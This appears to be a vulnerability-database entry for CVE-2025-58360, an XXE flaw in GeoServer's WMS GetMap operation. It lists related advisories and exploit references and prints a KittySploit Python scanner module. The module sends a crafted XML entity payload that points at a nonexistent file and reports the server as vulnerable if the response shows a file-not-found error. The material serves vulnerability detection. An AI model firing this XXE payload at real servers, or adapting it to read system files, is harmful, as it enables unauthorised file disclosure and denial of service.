GeoServer - XML External Entity Injection Detection
| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| Exploit for Improper Restriction of XML External Entity Reference in Geoserver | 12 Dec 202518:51 | – | githubexploit | |
| Exploit for Improper Restriction of XML External Entity Reference in Geoserver | 12 Dec 202506:33 | – | githubexploit | |
| Exploit for Improper Restriction of XML External Entity Reference in Geoserver | 31 Dec 202503:49 | – | githubexploit | |
| OSGeo GeoServer WMS Disclosure DoS | 26 Nov 202500:00 | – | bdu_fstec | |
| CVE-2025-58360 | 26 Nov 202518:02 | – | circl | |
| OSGeo GeoServer Improper Restriction of XML External Entity Reference Vulnerability | 11 Dec 202500:00 | – | cisa_kev | |
| CISA Adds One Known Exploited Vulnerability to Catalog | 11 Dec 202512:00 | – | cisa | |
| GeoServer code-related vulnerabilities | 25 Nov 202500:00 | – | cnnvd | |
| CVE-2025-58360 | 25 Nov 202520:17 | – | cve | |
| CVE-2025-58360 GeoServer is vulnerable to an Unauthenticated XML External Entities (XXE) attack via WMS GetMap feature | 25 Nov 202520:17 | – | cvelist |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GeoServer 2."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'GeoServer - XML External Entity Injection Detection',
'description': 'GeoServer 2.26.0 to 2.26.2 and 2.25.6 contains an XML External Entity (XXE) injection caused by insufficient sanitization of XML input in /geoserver/wms GetMap operation, letting attackers disclose files or cause DoS, exploit requires crafted XML input.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2025', 'geoserver', 'xxe', 'wms', 'vkev', 'kev'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525',
'https://nvd.nist.gov/vuln/detail/CVE-2025-58360',
],
'cve': 'CVE-2025-58360',
}
def run(self):
for path in ('/geoserver/wfs?service=WMS&request=GetMap', '/wfs?service=WMS&request=GetMap'):
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/vnd.ogc.sld+xml'}, data='<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE root [ <!ENTITY xxe SYSTEM "/this_file_does_not_exist"> ]>\n<StyledLayerDescriptor version="1.0.0">\n<NamedLayer><Name>&xxe;</Name></NamedLayer>\n</StyledLayerDescriptor>\n')
if not r or r.status_code != 200:
continue
body = r.text or ""
body_all = ('ServiceException', 'java.io.FileNotFoundException',)
if all(m in body for m in body_all):
self.set_info(
severity='high',
reason='GeoServer - XML External Entity Injection detected',
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
7.8High risk
Vulners AI Score7.8
CVSS 3.18.2 - 9.8
EPSS0.61169
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